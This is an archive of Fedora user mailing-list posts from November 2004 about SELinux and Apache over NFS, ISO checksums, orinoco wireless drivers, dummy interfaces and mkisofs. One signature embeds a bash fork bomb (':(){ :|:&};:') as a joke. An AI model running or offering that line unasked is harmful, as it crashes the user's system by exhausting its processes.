2004 From: dwalsh at redhat.com (Daniel J Walsh) Date: Mon, 08 Nov 2004 18:08:37 -0500 Subject: apache problem? In-Reply-To: <42370.192.80.55.74.1099914121.squirrel@192.80.55.74> References: <20041105115609.08ecddb0@huii.local> <1099652995.4037.31.camel@fusie.creativ-consulting.de> <1099658224.6373.14.camel@moss-spartans.epoch.ncsc.mil> <1099676791.3922.5.camel@nexus.verbum.private> <418C083B.10607@redhat.com> <42370.192.80.55.74.1099914121.squirrel@192.80.55.74> Message-ID: <418FFC75.7030802@redhat.com> Daniel Segall wrote: >I tried upgrading the 2 selinux-policy-targeted packages from your page, >and I still get the same problems. I'm not seeing any specific errors in >the message log, just a bunch of initialized messages from SEL. Is there >something else that needs to be done to enable this? Has that Apache + SEL >doc surfaced yet? > >Thanks, >-Dan > > > >>This is a bug in targeted policy. Basically there is code in the policy >>to allow apache to read nfs files but it is >>turned off in the release. >> >>I have update the policy file on >>ftp://people.redhat.com/dwalsh/SELinux/FC3 >>to allow this (This is a yum repository.) >>selinux-policy-targeted-1.17.30-2.20 >> >>Or you can try out the latest policy from rawhide >>selinux-policy-targeted-1.18.1-* >> >>Both should have a fix for this. >> >> > > > > I just tried it out on an NFS partition and it is working. I am able to view an html file on ~dwalsh/public_html, which is an NFS partition. You can temporarily turn off SELInux with setenforce 0 Then try to access the page, if it still does not work then it is not SELinux problem, If it does work could you look for AVC messages in the /var/log/messages file. Dan From kilpatds at oppositelock.org Mon Nov 8 23:19:54 2004 From: kilpatds at oppositelock.org (Douglas Kilpatrick) Date: Mon, 08 Nov 2004 18:19:54 -0500 Subject: bittorrent In-Reply-To: References: <418F647E.3020304@dpomeroy.com> Message-ID: <418FFF1A.30907@oppositelock.org> Satish Balay wrote: > What's the problem? (not that I've run BT on x86_64 - but I'm thinking > it shouldn't be any different) Well, a problem I've had was a simple issue of the path. $ rpm -q python python-2.3.3-6 $ rpm -ql bittorrent | grep site-packages | head -1 /usr/lib/python2.2/site-packages/BitTorrent The solution was simply export PYTHONPATH=/usr/lib/python2.2/site-packages and then go run bittorrent as below. > btdownloadcurses.py --url http://torrent.linux.duke.edu/heidelberg-binary-i386.torrent Doug -- kilpatds at oppositelock.org Outta Control Racing, Inc. From lists at donut.dk Mon Nov 8 23:17:42 2004 From: lists at donut.dk (Cream[DONut]) Date: Tue, 09 Nov 2004 00:17:42 +0100 Subject: md5sums Message-ID: <418FFE96.6040805@donut.dk> could someone please post the md5sums for the recent couple of releases? im getting wrong md5sums when downloading from local mirrors, and am trying to track down the problem here is one of bad ones im getting: 4ecae180b2d0d1e37cf766a7acdb7e3d *FC3-i386-disc1.iso From fedora at wir-sind-cool.org Mon Nov 8 23:36:05 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Tue, 9 Nov 2004 00:36:05 +0100 Subject: md5sums In-Reply-To: <418FFE96.6040805@donut.dk> References: <418FFE96.6040805@donut.dk> Message-ID: <20041109003605.37550b77.fedora@wir-sind-cool.org> On Tue, 09 Nov 2004 00:17:42 +0100, Cream[DONut] wrote: > could someone please post the md5sums for the recent couple of releases? > > im getting wrong md5sums when downloading from local mirrors, and am > trying to track down the problem > > here is one of bad ones im getting: > 4ecae180b2d0d1e37cf766a7acdb7e3d *FC3-i386-disc1.iso The MD5SUM file on the servers is GPG signed and correct: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ca49964739f84848ca78fc03662272fb FC3-i386-DVD.iso e5e0328370d899bd77c8d5c7f1bd3ead FC3-i386-SRPMS-disc1.iso 5cf3f9ae84d8d0ec49679618c9cc2236 FC3-i386-SRPMS-disc2.iso ee5f134b6880145e576c97c3561cd787 FC3-i386-SRPMS-disc3.iso 7c57d517a6b0bb98b58600392f44ef36 FC3-i386-SRPMS-disc4.iso db8c7254beeb4f6b891d1ed3f689b412 FC3-i386-disc1.iso 2c11674cf429fe570445afd9d5ff564e FC3-i386-disc2.iso f88f6ab5947ca41f3cf31db04487279b FC3-i386-disc3.iso 6331c00aa3e8c088cc365eeb7ef230ea FC3-i386-disc4.iso 07bb34ce97b62b99f84d32812a2eec75 FC3-i386-rescuecd.iso -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQFBiWL+tEJp0E8qb9IRAtvbAJ9ogGEnoKYeT9exJ/BpO8stFfclAwCfWy6h iYqa2g5AiQK3PldULLM0Zhw= =gMjQ -----END PGP SIGNATURE----- From lists at donut.dk Mon Nov 8 23:40:28 2004 From: lists at donut.dk (Cream[DONut]) Date: Tue, 09 Nov 2004 00:40:28 +0100 Subject: md5sums In-Reply-To: <20041109003605.37550b77.fedora@wir-sind-cool.org> References: <418FFE96.6040805@donut.dk> <20041109003605.37550b77.fedora@wir-sind-cool.org> Message-ID: <419003EC.4090901@donut.dk> Michael Schwendt wrote: > On Tue, 09 Nov 2004 00:17:42 +0100, Cream[DONut] wrote: > >>4ecae180b2d0d1e37cf766a7acdb7e3d *FC3-i386-disc1.iso > The MD5SUM file on the servers is GPG signed and correct: > Yes thank you for pointing that out (i was already aware of that, and those are the ones im checking against), im trying to find out if the files on ftp://klid.dk/iso/fedora are from one of the recent release candidates. or if its simply a matter of my downloads getting corrupted. (i'd love to use bittorrent, but im behind a http proxy) Kris From cochranb at speakeasy.net Mon Nov 8 23:36:06 2004 From: cochranb at speakeasy.net (Robert L Cochran) Date: Mon, 08 Nov 2004 18:36:06 -0500 Subject: md5sums In-Reply-To: <418FFE96.6040805@donut.dk> References: <418FFE96.6040805@donut.dk> Message-ID: <419002E6.4000603@speakeasy.net> Just download the file MD5SUM that will be in the ISO directory and view the contents. If you want this for the past couple of *releases* then download the same file from appropriate mirror directories. Bob Cream[DONut] wrote: > could someone please post the md5sums for the recent couple of releases? > > im getting wrong md5sums when downloading from local mirrors, and am > trying to track down the problem > > here is one of bad ones im getting: > 4ecae180b2d0d1e37cf766a7acdb7e3d *FC3-i386-disc1.iso > From lists at donut.dk Tue Nov 9 00:46:54 2004 From: lists at donut.dk (Cream[DONut]) Date: Tue, 09 Nov 2004 01:46:54 +0100 Subject: md5sums In-Reply-To: <419003EC.4090901@donut.dk> References: <418FFE96.6040805@donut.dk> <20041109003605.37550b77.fedora@wir-sind-cool.org> <419003EC.4090901@donut.dk> Message-ID: <4190137E.8070804@donut.dk> nevermind, must have been repeated transfer error, or klid.dk have fixed their files. happy installing to everyone out there :) (currently running a yum updated rc1=>rc3[testing]=>final system, and everything is peachy) From paul at all-the-johnsons.co.uk Tue Nov 9 01:16:55 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Tue, 09 Nov 2004 01:16:55 +0000 Subject: MAKEDEV Message-ID: <1099963015.28958.37.camel@localhost.localdomain> Hi, I'm still trying to find the problem with the mitsumi floppy + 8 way card reader (http://www.dabs.com/uk/channels/hardware/storage/productView.htm? quicklinx=2SRJ for the spec) The floppy works, just the card readers don't. The reader connects to the motherboard via a USB 9 pin plug. Nothing shows in /sbin/lsusb though (I'm not sure it would). I have a second card reader which plugs into the USB ports at the back which has been a PITA to get working (I eventually had to manually add /dev/sda1 /mnt/cardreader into fstab when I played with it under FC1). I know the drive works (I've had it going on the dark side), but can't get anything to register. I did try (as su) /dev/MAKEDEV /dev/sda1, but that just reported that MAKEDEV didn't know what sda1 is! Any ideas on this and I'd love to get the card reader working. TTFN Paul -- "Trust me, I know what I'm doing" - Det. Sledgehammer -------------- next part -------------- A non-text attachment was scrubbed... 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I have a Symbol wireless card which uses orinoco_cs. At this point (after having several problems with said driver/card and NetworkManager, and reading comments like Dan's...), I'm thinking I need to use a better driver. Are there better alternatives to orinoco_cs? Would NdisWrapper be a better choice? > -- ,-----------------------------------------------------------------// | Jason 'vanRijn' Kasper :: Numbers 6:22-26 ` | All brontosauruses are thin at one end, much MUCH thicker | in the middle, and then thin again at the far end. That is | the theory that I have and which is mine, and what it is too. , | bash$ :(){ :|:&};: `----------------------// From cra at WPI.EDU Tue Nov 9 02:39:42 2004 From: cra at WPI.EDU (Charles R. Anderson) Date: Mon, 8 Nov 2004 21:39:42 -0500 Subject: Another NetworkManager question In-Reply-To: <1099967373.27716.7.camel@localhost> References: <77e74f3e04110607224a60c073@mail.gmail.com> <1099967373.27716.7.camel@localhost> Message-ID: <20041109023942.GI2173@angus.ind.WPI.EDU> On Mon, Nov 08, 2004 at 09:29:33PM -0500, Jason 'vanRijn' Kasper wrote: > On Sun, 2004-11-07 at 10:02 -0500, Dan Williams wrote: > > On Sat, 6 Nov 2004, Amitabha Roy wrote: > > > How is it possible that iwconfig and NM applet show conflicting information ? > > > In this case at least a 30% signal strength means that NM applet information > > > is actually incorrect. > > > > Orinoco cards have problems. My orinoco card (and I've had the same > > report from 2 other people) will refuse to associate with an AP when its > > strength is low. However, it will report being connected to an AP when it > > clearly cannot be. For example: > > > > hmmmm. I have a Symbol wireless card which uses orinoco_cs. At this > point (after having several problems with said driver/card and > NetworkManager, and reading comments like Dan's...), I'm thinking I need > to use a better driver. Are there better alternatives to orinoco_cs? > Would NdisWrapper be a better choice? My Symbol LA4111 card was working fine with orinoco_cs back in FC2 or early FC3test I believe. Something changed, and I couldn't get it to work with test3 and later IIRC. From bpm at ec-group.com Tue Nov 9 03:26:46 2004 From: bpm at ec-group.com (Brian Millett) Date: Mon, 8 Nov 2004 21:26:46 -0600 (CST) Subject: Another NetworkManager question In-Reply-To: <1099967373.27716.7.camel@localhost> References: <77e74f3e04110607224a60c073@mail.gmail.com> <1099967373.27716.7.camel@localhost> Message-ID: <32863.64.123.62.207.1099970806.squirrel@webmail.ec-group.com> > On Sun, 2004-11-07 at 10:02 -0500, Dan Williams wrote: >> On Sat, 6 Nov 2004, Amitabha Roy wrote: >> > How is it possible that iwconfig and NM applet show conflicting >> information ? In this case at least a 30% signal strength means that >> NM applet information is actually incorrect. >> >> Orinoco cards have problems. My orinoco card (and I've had the same >> report from 2 other people) will refuse to associate with an AP when >> its strength is low. However, it will report being connected to an >> AP when it clearly cannot be. For example: >> > > hmmmm. I have a Symbol wireless card which uses orinoco_cs. At this > point (after having several problems with said driver/card and > NetworkManager, and reading comments like Dan's...), I'm thinking I need > to use a better driver. Are there better alternatives to orinoco_cs? > Would NdisWrapper be a better choice? wget http://ozlabs.org/people/dgibson/dldwd/orinoco-0.15rc2.tar.gz tar -zxvf orinoco-0.15rc2.tar.gz cd orinoco-0.15rc2 make KERNEL_SRC=/lib/modules/2.6.9-1.667/build all make KERNEL_SRC=/lib/modules/2.6.9-1.667/build install init 6 Then you'll be set. Works for my Intersil Corporation Prism 2.5 Wavelan chipset. [bpm]$ sudo iwlist eth1 scan eth1 Scan completed : Cell 01 - Address: 00:02:2D:31:39:60 ESSID:"RunAway" Mode:Master Frequency:2.437GHz (Channel 6) Signal level:57/153 Noise level:14/153 Encryption key:on Bit Rate:1Mb/s Bit Rate:2Mb/s Bit Rate:5.5Mb/s Bit Rate:11Mb/s Cell 02 - Address: 00:06:25:64:E7:36 ESSID:"linksys" Mode:Master Frequency:2.437GHz (Channel 6) Signal level:17/153 Noise level:13/153 Encryption key:off Bit Rate:1Mb/s Bit Rate:2Mb/s Bit Rate:5.5Mb/s Bit Rate:11Mb/s Cell 03 - Address: 00:0D:72:08:39:79 ESSID:"2WIRE477" Mode:Master Frequency:2.457GHz (Channel 10) Signal level:18/153 Noise level:15/153 Encryption key:off Bit Rate:1Mb/s Bit Rate:2Mb/s Bit Rate:5.5Mb/s Bit Rate:11Mb/s Bit Rate:22Mb/s Cell 04 - Address: 00:0F:3D:4A:06:8A ESSID:"Ronnie's House" Mode:Master Frequency:2.427GHz (Channel 4) Signal level:16/153 Noise level:14/153 Encryption key:off Bit Rate:1Mb/s Bit Rate:2Mb/s Bit Rate:5.5Mb/s Bit Rate:11Mb/s -- Brian Millett Enterprise Consulting Group "Shifts in paradigms (314) 205-9030 often cause nose bleeds." bpmATec-groupDOTcom Greg Glenn From mrguytx at austin.rr.com Tue Nov 9 04:00:22 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Mon, 08 Nov 2004 22:00:22 -0600 Subject: Another NetworkManager question In-Reply-To: <32863.64.123.62.207.1099970806.squirrel@webmail.ec-group.com> References: <77e74f3e04110607224a60c073@mail.gmail.com> <1099967373.27716.7.camel@localhost> <32863.64.123.62.207.1099970806.squirrel@webmail.ec-group.com> Message-ID: <1099972822.3678.0.camel@guyleidadell> On Mon, 2004-11-08 at 21:26 -0600, Brian Millett wrote: > > On Sun, 2004-11-07 at 10:02 -0500, Dan Williams wrote: > >> On Sat, 6 Nov 2004, Amitabha Roy wrote: > >> > How is it possible that iwconfig and NM applet show conflicting > >> information ? In this case at least a 30% signal strength means that > >> NM applet information is actually incorrect. > >> > >> Orinoco cards have problems. My orinoco card (and I've had the same > >> report from 2 other people) will refuse to associate with an AP when > >> its strength is low. However, it will report being connected to an > >> AP when it clearly cannot be. For example: > >> > > > > hmmmm. I have a Symbol wireless card which uses orinoco_cs. At this > > point (after having several problems with said driver/card and > > NetworkManager, and reading comments like Dan's...), I'm thinking I need > > to use a better driver. Are there better alternatives to orinoco_cs? > > Would NdisWrapper be a better choice? > > > wget http://ozlabs.org/people/dgibson/dldwd/orinoco-0.15rc2.tar.gz > tar -zxvf orinoco-0.15rc2.tar.gz > cd orinoco-0.15rc2 > make KERNEL_SRC=/lib/modules/2.6.9-1.667/build all > make KERNEL_SRC=/lib/modules/2.6.9-1.667/build install > init 6 > > Then you'll be set. Works for my Intersil Corporation Prism 2.5 Wavelan > chipset. > > [bpm]$ sudo iwlist eth1 scan > eth1 Scan completed : > Cell 01 - Address: 00:02:2D:31:39:60 > ESSID:"RunAway" > Mode:Master > Frequency:2.437GHz (Channel 6) > Signal level:57/153 Noise level:14/153 > Encryption key:on > Bit Rate:1Mb/s > Bit Rate:2Mb/s > Bit Rate:5.5Mb/s > Bit Rate:11Mb/s > Cell 02 - Address: 00:06:25:64:E7:36 > ESSID:"linksys" > Mode:Master > Frequency:2.437GHz (Channel 6) > Signal level:17/153 Noise level:13/153 > Encryption key:off > Bit Rate:1Mb/s > Bit Rate:2Mb/s > Bit Rate:5.5Mb/s > Bit Rate:11Mb/s > Cell 03 - Address: 00:0D:72:08:39:79 > ESSID:"2WIRE477" > Mode:Master > Frequency:2.457GHz (Channel 10) > Signal level:18/153 Noise level:15/153 > Encryption key:off > Bit Rate:1Mb/s > Bit Rate:2Mb/s > Bit Rate:5.5Mb/s > Bit Rate:11Mb/s > Bit Rate:22Mb/s > Cell 04 - Address: 00:0F:3D:4A:06:8A > ESSID:"Ronnie's House" > Mode:Master > Frequency:2.427GHz (Channel 4) > Signal level:16/153 Noise level:14/153 > Encryption key:off > Bit Rate:1Mb/s > Bit Rate:2Mb/s > Bit Rate:5.5Mb/s > Bit Rate:11Mb/s > > > -- > Brian Millett > Enterprise Consulting Group "Shifts in paradigms > (314) 205-9030 often cause nose bleeds." > bpmATec-groupDOTcom Greg Glenn > > > interesting, I wonder why mine works outta the box? -- =Guy 22:00:06 up 2:54, 2 users, load average: 0.41, 0.29, 0.43 From mpeters at mac.com Tue Nov 9 08:23:54 2004 From: mpeters at mac.com (Michael A. Peters) Date: Tue, 09 Nov 2004 08:23:54 +0000 Subject: What I hope is not in FC3 In-Reply-To: <20041107023938.GB12856@devserv.devel.redhat.com> (from alan@redhat.com on Sat Nov 6 18:39:38 2004) References: <418D9766.1030204@insight.rr.com> <20041107023938.GB12856@devserv.devel.redhat.com> Message-ID: <1099988634l.3536l.2l@devel.mpeters.us> On 11/06/2004 06:39:38 PM, Alan Cox wrote: > On Sat, Nov 06, 2004 at 10:32:54PM -0500, Jim Cornette wrote: > > 3) CD burning programs that do not select rational default > settings, > to > > prevent mediacheck errors. > > The problem to be fair is in the IDE CD driver not the CD burners, > its > not > yet fixed and its not trivial to fix or it would have been fixed by > now Say - is this why md5sum /dev/cdrom doesn't work anymore? I use to be able to verify that a CD burned correctly by running md5sum on the cdrom device and comparing that with the md5sum of the iso image - but that hasn't worked for me for awhile (I/O error I believe) From alan at redhat.com Tue Nov 9 10:12:09 2004 From: alan at redhat.com (Alan Cox) Date: Tue, 9 Nov 2004 05:12:09 -0500 Subject: MAKEDEV In-Reply-To: <1099963015.28958.37.camel@localhost.localdomain> References: <1099963015.28958.37.camel@localhost.localdomain> Message-ID: <20041109101209.GA11935@devserv.devel.redhat.com> On Tue, Nov 09, 2004 at 01:16:55AM +0000, Paul wrote: > The reader connects to the motherboard via a USB 9 pin plug. Nothing > shows in /sbin/lsusb though (I'm not sure it would). I have a second If the wiring is correct and it has power it should show up whether it is supported or not From alan at redhat.com Tue Nov 9 10:26:22 2004 From: alan at redhat.com (Alan Cox) Date: Tue, 9 Nov 2004 05:26:22 -0500 Subject: What I hope is not in FC3 In-Reply-To: <1099988634l.3536l.2l@devel.mpeters.us> References: <418D9766.1030204@insight.rr.com> <20041107023938.GB12856@devserv.devel.redhat.com> <1099988634l.3536l.2l@devel.mpeters.us> Message-ID: <20041109102622.GH11935@devserv.devel.redhat.com> On Tue, Nov 09, 2004 at 08:23:54AM +0000, Michael A. Peters wrote: > >yet fixed and its not trivial to fix or it would have been fixed by > >now > > Say - is this why md5sum /dev/cdrom doesn't work anymore? Correct. > I use to be able to verify that a CD burned correctly by running md5sum > on the cdrom device and comparing that with the md5sum of the iso image > - but that hasn't worked for me for awhile (I/O error I believe) 2.4.x works 2.6.x doesnt. Upgrade to the ide-scsi driver and it will work as will eject. From maze at cela.pl Tue Nov 9 10:58:43 2004 From: maze at cela.pl (=?ISO-8859-2?Q?Maciej_=AFenczykowski?=) Date: Tue, 9 Nov 2004 11:58:43 +0100 (CET) Subject: What I hope is not in FC3 In-Reply-To: <20041109102622.GH11935@devserv.devel.redhat.com> References: <418D9766.1030204@insight.rr.com> <20041107023938.GB12856@devserv.devel.redhat.com> <1099988634l.3536l.2l@devel.mpeters.us> <20041109102622.GH11935@devserv.devel.redhat.com> Message-ID: > 2.4.x works 2.6.x doesnt. Upgrade to the ide-scsi driver and it will work > as will eject. Eject doesn't work on 2.6? On my FC2 box it works fine. nb. what's the problem with "md5sum /dev/cdrom", since "dd if=/dev/cdrom bs=2048 count=[number of sectors] | md5sum" works. So obviously the problem is that tries to read past the end of the CD, isn't this information included on the CD, can't this information be used to limit the size of the device? Or is there something I'm not getting that causes end of device I/O errors to be required. (Of course DVD's have a 32KB not 2KB sector size which would screw up md5sum's even if it stopped reading at the end of the device cause ISO images are 2KB multiples, maybe cdrecord should be fixed to auto-pad large images (>1GB) to a multiple of 32KB?) Cheers, MaZe. From tedkaz at optonline.net Tue Nov 9 11:22:04 2004 From: tedkaz at optonline.net (Ted Kaczmarek) Date: Tue, 09 Nov 2004 06:22:04 -0500 Subject: No more dummy1 interface? Message-ID: <1099999324.13993.32.camel@inyoureyes.linsolutions.com> I just noticed that I can't bring up a dummy1 interface. Confirmed this with 2.6.9-1.667, 2.6.8-1.541smp and 2.6.8-1.521smp. Dummy0 works fine. Unfortunately net-modules.txt doesn't have any info. If anything I was hoping to be able to add more than two dummy interfaces. I suspect that this is a 2.6 change as I can't find any 2.6 box that will let me bring up a dummy1. Anyone have any details on this it would be appreciated, will be scouring the kernel archives. Regards, Ted From maze at cela.pl Tue Nov 9 11:33:04 2004 From: maze at cela.pl (=?ISO-8859-2?Q?Maciej_=AFenczykowski?=) Date: Tue, 9 Nov 2004 12:33:04 +0100 (CET) Subject: No more dummy1 interface? In-Reply-To: <1099999324.13993.32.camel@inyoureyes.linsolutions.com> References: <1099999324.13993.32.camel@inyoureyes.linsolutions.com> Message-ID: > > Dummy0 works fine. > > Unfortunately net-modules.txt doesn't have any info. > > If anything I was hoping to be able to add more than two dummy > interfaces. > > I suspect that this is a 2.6 change as I can't find any 2.6 box that > will let me bring up a dummy1. > > Anyone have any details on this it would be appreciated, will be > scouring the kernel archives. > > Regards, > Ted [root at zeus root]# modinfo dummy parm: numdummies:Number of dummy pseudo devices license: GPL vermagic: 2.6.8-1.521smp SMP 686 REGPARM 4KSTACKS gcc-3.3 depends: I'd expect modprobe dummy numdummies=2 (or more) will work. Cheers, MaZe. From maze at cela.pl Tue Nov 9 11:42:33 2004 From: maze at cela.pl (=?ISO-8859-2?Q?Maciej_=AFenczykowski?=) Date: Tue, 9 Nov 2004 12:42:33 +0100 (CET) Subject: Jigdo'es of FC3 Message-ID: Hi! http://druid.if.uj.edu.pl/~maze/FC3-jigdo/ contains jigdo/template files for i386 binary CDs, source CDs, rescue CD and DVD. Cheers, MaZe. From tedkaz at optonline.net Tue Nov 9 11:43:31 2004 From: tedkaz at optonline.net (Ted Kaczmarek) Date: Tue, 09 Nov 2004 06:43:31 -0500 Subject: No more dummy1 interface? In-Reply-To: <1099999324.13993.32.camel@inyoureyes.linsolutions.com> References: <1099999324.13993.32.camel@inyoureyes.linsolutions.com> Message-ID: <1100000611.13993.35.camel@inyoureyes.linsolutions.com> On Tue, 2004-11-09 at 06:22 -0500, Ted Kaczmarek wrote: > I just noticed that I can't bring up a dummy1 interface. > Confirmed this with 2.6.9-1.667, 2.6.8-1.541smp and 2.6.8-1.521smp. > > Dummy0 works fine. > > Unfortunately net-modules.txt doesn't have any info. > > If anything I was hoping to be able to add more than two dummy > interfaces. > > I suspect that this is a 2.6 change as I can't find any 2.6 box that > will let me bring up a dummy1. > > Anyone have any details on this it would be appreciated, will be > scouring the kernel archives. > > Regards, > Ted modprobe dummy numdummies=4 Whew :-) Will have to patch the docs,marc.theaimsgroup.com is a life saver. Ted From fedora at warmcat.com Tue Nov 9 12:14:58 2004 From: fedora at warmcat.com (Andy Green) Date: Tue, 9 Nov 2004 12:14:58 +0000 Subject: MAKEDEV In-Reply-To: <20041109101209.GA11935@devserv.devel.redhat.com> References: <1099963015.28958.37.camel@localhost.localdomain> <20041109101209.GA11935@devserv.devel.redhat.com> Message-ID: <200411091215.03566.fedora@warmcat.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tuesday 09 November 2004 10:12, Alan Cox wrote: > If the wiring is correct and it has power it should show up whether it is > supported or not Actually some USB devices require a particular order of USB wire-level commands (the sequence seen from Windows) or they will not wake up and accept an address (eg, Sweex USB Wifi dongle). There is a patch going into the 2.6.10+ Linus kernel http://marc.theaimsgroup.com/?l=linux-usb-devel&m=109846125807177&w=1 to bring these not very compaitible devices to heel. And that will make my life much easier as the owner of one. - -Andy - -- http://www.addintelligence.co.uk -- we design custom hardware and software for your products -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) iD8DBQFBkLTHjKeDCxMJCTIRAmeuAJ9I02uOr+AaQDjw2cTYIIPqCpoalwCghkK4 JId8oDD91eNEjwvX0lyLkl0= =2NwD -----END PGP SIGNATURE----- From dan at half-asleep.com Tue Nov 9 13:41:39 2004 From: dan at half-asleep.com (Daniel Segall) Date: Tue, 9 Nov 2004 08:41:39 -0500 (EST) Subject: apache problem? In-Reply-To: <418FFC75.7030802@redhat.com> References: <20041105115609.08ecddb0@huii.local> <1099652995.4037.31.camel@fusie.creativ-consulting.de> <1099658224.6373.14.camel@moss-spartans.epoch.ncsc.mil> <1099676791.3922.5.camel@nexus.verbum.private> <418C083B.10607@redhat.com> <42370.192.80.55.74.1099914121.squirrel@192.80.55.74> <418FFC75.7030802@redhat.com> Message-ID: <38381.192.80.55.74.1100007699.squirrel@192.80.55.74> When I disable SEL via setenforce 0, I can access the user pages just fine. As soon as I reenable it, I get the 403's. The following is all I get in the messages log: root at ax ~>tail -500 /var/log/messages | grep SELinux Nov 9 04:02:13 ax kernel: SELinux: initialized (dev 0:10, type nfs), uses genfs_contexts Nov 9 04:02:16 ax kernel: SELinux: initialized (dev 0:21, type nfs), uses genfs_contexts Nov 9 04:02:16 ax kernel: SELinux: initialized (dev 0:24, type nfs), uses genfs_contexts root at ax ~>audit2allow -i /var/log/messages allow httpd_t autofs_t:dir { getattr search }; Thanks for your help! -Dan > Daniel Segall wrote: > >>I tried upgrading the 2 selinux-policy-targeted packages from your page, >>and I still get the same problems. I'm not seeing any specific errors in >>the message log, just a bunch of initialized messages from SEL. Is there >>something else that needs to be done to enable this? Has that Apache + >> SEL >>doc surfaced yet? >> >>Thanks, >>-Dan >> >> >> >>>This is a bug in targeted policy. Basically there is code in the policy >>>to allow apache to read nfs files but it is >>>turned off in the release. >>> >>>I have update the policy file on >>>ftp://people.redhat.com/dwalsh/SELinux/FC3 >>>to allow this (This is a yum repository.) >>>selinux-policy-targeted-1.17.30-2.20 >>> >>>Or you can try out the latest policy from rawhide >>>selinux-policy-targeted-1.18.1-* >>> >>>Both should have a fix for this. >>> >>> >> >> >> >> > I just tried it out on an NFS partition and it is working. > > I am able to view an html file on ~dwalsh/public_html, which is an NFS > partition. > > You can temporarily turn off SELInux with > setenforce 0 > Then try to access the page, if it still does not work then it is not > SELinux problem, > If it does work could you look for AVC messages in the /var/log/messages > file. > > Dan > > From byte at aeon.com.my Tue Nov 9 12:04:10 2004 From: byte at aeon.com.my (Colin Charles) Date: Tue, 09 Nov 2004 23:04:10 +1100 Subject: URGENT!!! bugs to be reported In-Reply-To: References: Message-ID: <1100001850.3358.126.camel@hermione.soho.bytebot.net> On Mon, 2004-11-08 at 13:56 +0100, suoko at libero.it wrote: > TRANSLATION ISSUES (INTO ITALIAN): fedora-trans-list at redhat.com might be useful - esp. if you contact the Italian translation team > MONITOR SETTINGS > > After installation, refresh settings for my monitor were not correctly configured: > my monitor is usually recognized as a generic one with max resolution 1024x768 > at 60Mhz > Wrong settings in xorg.conf were > HorizSync 31.5 - 57.0 > VertRefresh 50.0 - 70.0 > while correct settings are > HorizSync 28.0 - 50.0 > VertRefresh 43.0 - 75.0 > > (with bad settings I couldn't use max resolution, only 800x600) Bugzilla this > GNOME CD PLAYER > > It recognizes the cds, can see all songs inside it but can't play any CDs. After > play it hangs and stop automatically. > CDP application works fine therefore the problem is the gnome cd player. Odd bug. bugzilla, with further details Make sure you're using FC3 rather than a test/release candidate. There were only 27 updates after FC3 came out, so you might want to apply those first as well and make sure the problem is still there -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From maze at cela.pl Tue Nov 9 15:02:50 2004 From: maze at cela.pl (=?ISO-8859-2?Q?Maciej_=AFenczykowski?=) Date: Tue, 9 Nov 2004 16:02:50 +0100 (CET) Subject: mkisofs command for FC3 Message-ID: Hi! Could someone post the command used to generate the FC3 i386 isos - especially the DVD? Thanks, MaZe. From arjanv at redhat.com Tue Nov 9 15:20:46 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Tue, 09 Nov 2004 16:20:46 +0100 Subject: mkisofs command for FC3 In-Reply-To: References: Message-ID: <1100013646.7490.3.camel@laptop.fenrus.org> On Tue, 2004-11-09 at 16:02 +0100, Maciej ?enczykowski wrote: > Hi! > > Could someone post the command used to generate the FC3 i386 isos - > especially the DVD? run strings on the iso file and grep for mkisofs, that will show the command already L-) -------------- next part -------------- A non-text attachment was scrubbed... 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A hex-editor doesn't display any old mkisofs strings in the beginning of the image either. -- Fedora Core release 3 (Heidelberg) - Linux 2.6.9-1.667 loadavg: 1.45 1.19 1.23 From maze at cela.pl Tue Nov 9 15:37:24 2004 From: maze at cela.pl (=?ISO-8859-2?Q?Maciej_=AFenczykowski?=) Date: Tue, 9 Nov 2004 16:37:24 +0100 (CET) Subject: mkisofs command for FC3 In-Reply-To: <1100013646.7490.3.camel@laptop.fenrus.org> References: <1100013646.7490.3.camel@laptop.fenrus.org> Message-ID: > run strings on the iso file and grep for mkisofs, that will show the > command already L-) FC2: strings: Warning: could not locate 'FC3-i386-DVD.iso'. reason: Value too large for defined data type seems it doesn't like this >2GB file. anyway I did try looking through the beginning of the iso to find that info and failed to locate it... Cheers, MaZe. From janina at rednote.net Tue Nov 9 15:42:55 2004 From: janina at rednote.net (Janina Sajka) Date: Tue, 9 Nov 2004 10:42:55 -0500 Subject: mkisofs command for FC3 In-Reply-To: <1100013646.7490.3.camel@laptop.fenrus.org> References: <1100013646.7490.3.camel@laptop.fenrus.org> Message-ID: <20041109154255.GA9172@rednote.net> Arjan van de Ven writes: > On Tue, 2004-11-09 at 16:02 +0100, Maciej ??enczykowski wrote: > > Hi! > > > > Could someone post the command used to generate the FC3 i386 isos - > > especially the DVD? > > run strings on the iso file and grep for mkisofs, that will show the > command already L-) Doesn't seem to do the job here--neither on the i386 or the x86_64 DVD iso. Output from my system attached. > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- Janina Sajka, Chair Accessibility Workgroup Free Standards Group (FSG) janina at freestandards.org Phone: +1 202.494.7040 -------------- next part -------------- mkisofs-2.01.1-5.x86_64.rpmPX$ using burnproof if the system is too slow. A bug in mkisofs summary of defective sector numbers at the end. The mkisofs -H/-L/-P options were marked as reserved by POSIX, and mkisofs - added utf-8 support to mkisofs (106479) - mv iso* tools to mkisofs cdda2wav subpackage and Provides: mkisofs to mkisofs subpackage - Added cdrtools-1.10-mkisofs-sharing.patch to fix bug (#56304) - oops, rebuilt to fix the mkisofs mess I made - according to the author, cdda2wav and mkisofs are more recent in this - removed the mkisofs subpackage - we have mkisofs provided by - moved former mkisofs diagnostic binaries to the main package using burnproof if the system is too slow. A bug in mkisofs summary of defective sector numbers at the end. The mkisofs -H/-L/-P options were marked as reserved by POSIX, and mkisofs - added utf-8 support to mkisofs (106479) - mv iso* tools to mkisofs cdda2wav subpackage and Provides: mkisofs to mkisofs subpackage - Added cdrtools-1.10-mkisofs-sharing.patch to fix bug (#56304) - oops, rebuilt to fix the mkisofs mess I made - according to the author, cdda2wav and mkisofs are more recent in this - removed the mkisofs subpackage - we 